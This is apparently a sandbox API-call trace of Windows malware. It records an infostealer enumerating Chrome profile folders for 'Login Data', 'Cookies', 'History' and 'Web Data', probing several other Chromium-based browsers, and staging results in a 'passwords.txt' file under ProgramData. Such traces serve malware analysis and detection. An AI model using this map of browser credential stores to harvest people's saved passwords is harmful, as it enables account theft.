[0050.471] UnlockFile (hFile=0x394, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0050.471] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\evwhitelist")) returned 0x10 [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\login data")) returned 0xffffffff [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\history")) returned 0xffffffff [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\cookies")) returned 0xffffffff [0050.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\web data")) returned 0xffffffff [0050.472] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\filetypepolicies")) returned 0x10 [0050.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\login data")) returned 0xffffffff [0050.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\history")) returned 0xffffffff [0050.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\cookies")) returned 0xffffffff [0050.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\web data")) returned 0xffffffff [0050.473] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\First Run" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\first run")) returned 0x20 [0050.473] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Local State" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\local state")) returned 0x20 [0050.473] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\origintrials")) returned 0x10 [0050.473] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\origintrials\\login data")) returned 0xffffffff [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\origintrials\\history")) returned 0xffffffff [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\origintrials\\cookies")) returned 0xffffffff [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\origintrials\\web data")) returned 0xffffffff [0050.474] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pepperflash")) returned 0x10 [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pepperflash\\login data")) returned 0xffffffff [0050.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pepperflash\\history")) returned 0xffffffff [0050.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pepperflash\\cookies")) returned 0xffffffff [0050.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pepperflash\\web data")) returned 0xffffffff [0050.475] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnacl", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pnacl")) returned 0x10 [0050.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pnacl\\login data")) returned 0xffffffff [0050.475] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pnacl\\history")) returned 0xffffffff [0050.476] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pnacl\\cookies")) returned 0xffffffff [0050.476] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\pnacl\\web data")) returned 0xffffffff [0050.476] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.476] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Bloom" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing bloom")) returned 0x20 [0050.476] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.477] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Bloom Prefix Set" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing bloom prefix set")) returned 0x20 [0050.477] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.477] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids")) returned 0x20 [0050.478] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs-journal" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids-journal")) returned 0x20 [0050.478] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.478] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies")) returned 0x20 [0050.485] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.485] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies-journal" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing cookies-journal")) returned 0x20 [0050.486] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Csd Whitelist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing csd whitelist")) returned 0x20 [0050.486] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Download" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing download")) returned 0x20 [0050.486] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Download Whitelist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing download whitelist")) returned 0x20 [0050.486] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.486] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Extension Blacklist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing extension blacklist")) returned 0x20 [0050.487] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing IP Blacklist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing ip blacklist")) returned 0x20 [0050.487] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Module Whitelist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing module whitelist")) returned 0x20 [0050.487] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Resource Blacklist" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing resource blacklist")) returned 0x20 [0050.487] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.487] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing UwS List" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing uws list")) returned 0x20 [0050.488] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing UwS List Prefix Set" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\safe browsing uws list prefix set")) returned 0x20 [0050.488] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant")) returned 0x10 [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\login data")) returned 0xffffffff [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\history")) returned 0xffffffff [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\cookies")) returned 0xffffffff [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\sslerrorassistant\\web data")) returned 0xffffffff [0050.488] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\subresource filter")) returned 0x10 [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\subresource filter\\login data")) returned 0xffffffff [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\subresource filter\\history")) returned 0xffffffff [0050.488] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\subresource filter\\cookies")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\subresource filter\\web data")) returned 0xffffffff [0050.489] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\swreporter")) returned 0x10 [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\swreporter\\login data")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\swreporter\\history")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\swreporter\\cookies")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\swreporter\\web data")) returned 0xffffffff [0050.489] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 1 [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\widevinecdm")) returned 0x10 [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\login data")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\History" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\history")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Cookies" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\cookies")) returned 0xffffffff [0050.489] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Web Data" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\web data")) returned 0xffffffff [0050.490] FindNextFileW (in: hFindFile=0x58a200, lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0 [0050.490] FindClose (in: hFindFile=0x58a200 | out: hFindFile=0x58a200) returned 1 [0050.490] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.490] GetFileType (hFile=0x388) returned 0x1 [0050.490] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.490] GetLastError () returned 0x83 [0050.490] GetLastError () returned 0x83 [0050.490] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Chromium\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.490] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.490] GetFileType (hFile=0x388) returned 0x1 [0050.490] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.491] GetLastError () returned 0x83 [0050.491] GetLastError () returned 0x83 [0050.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Kometa\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.491] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.491] GetFileType (hFile=0x388) returned 0x1 [0050.491] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.491] GetLastError () returned 0x83 [0050.491] GetLastError () returned 0x83 [0050.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Amigo\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.491] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.491] GetFileType (hFile=0x388) returned 0x1 [0050.491] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.491] GetLastError () returned 0x83 [0050.491] GetLastError () returned 0x83 [0050.491] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Torch\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.492] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.492] GetFileType (hFile=0x388) returned 0x1 [0050.492] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.492] GetLastError () returned 0x83 [0050.492] GetLastError () returned 0x83 [0050.492] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Orbitum\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.492] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.492] GetFileType (hFile=0x388) returned 0x1 [0050.492] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.492] GetLastError () returned 0x83 [0050.492] GetLastError () returned 0x83 [0050.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Comodo\\Dragon\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.493] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.493] GetFileType (hFile=0x388) returned 0x1 [0050.493] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.493] GetLastError () returned 0x83 [0050.493] GetLastError () returned 0x83 [0050.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Nichrome\\User Data\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.493] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.493] GetFileType (hFile=0x388) returned 0x1 [0050.493] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.493] GetLastError () returned 0x83 [0050.493] GetLastError () returned 0x83 [0050.493] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Maxthon5\\Users\\*", lpFindFileData=0x19f42c | out: lpFindFileData=0x19f42c) returned 0xffffffff [0050.494] CreateFileW (lpFileName="files\\passwords.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\passwords.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f164, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x388 [0050.494] GetFileType (hFile=0x388) returned 0x1 [0050.494] SetFilePointer (in: hFile=0x388, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0050.494] GetLastError () returned 0x83 [0050.494] GetLastError () returned 0x83 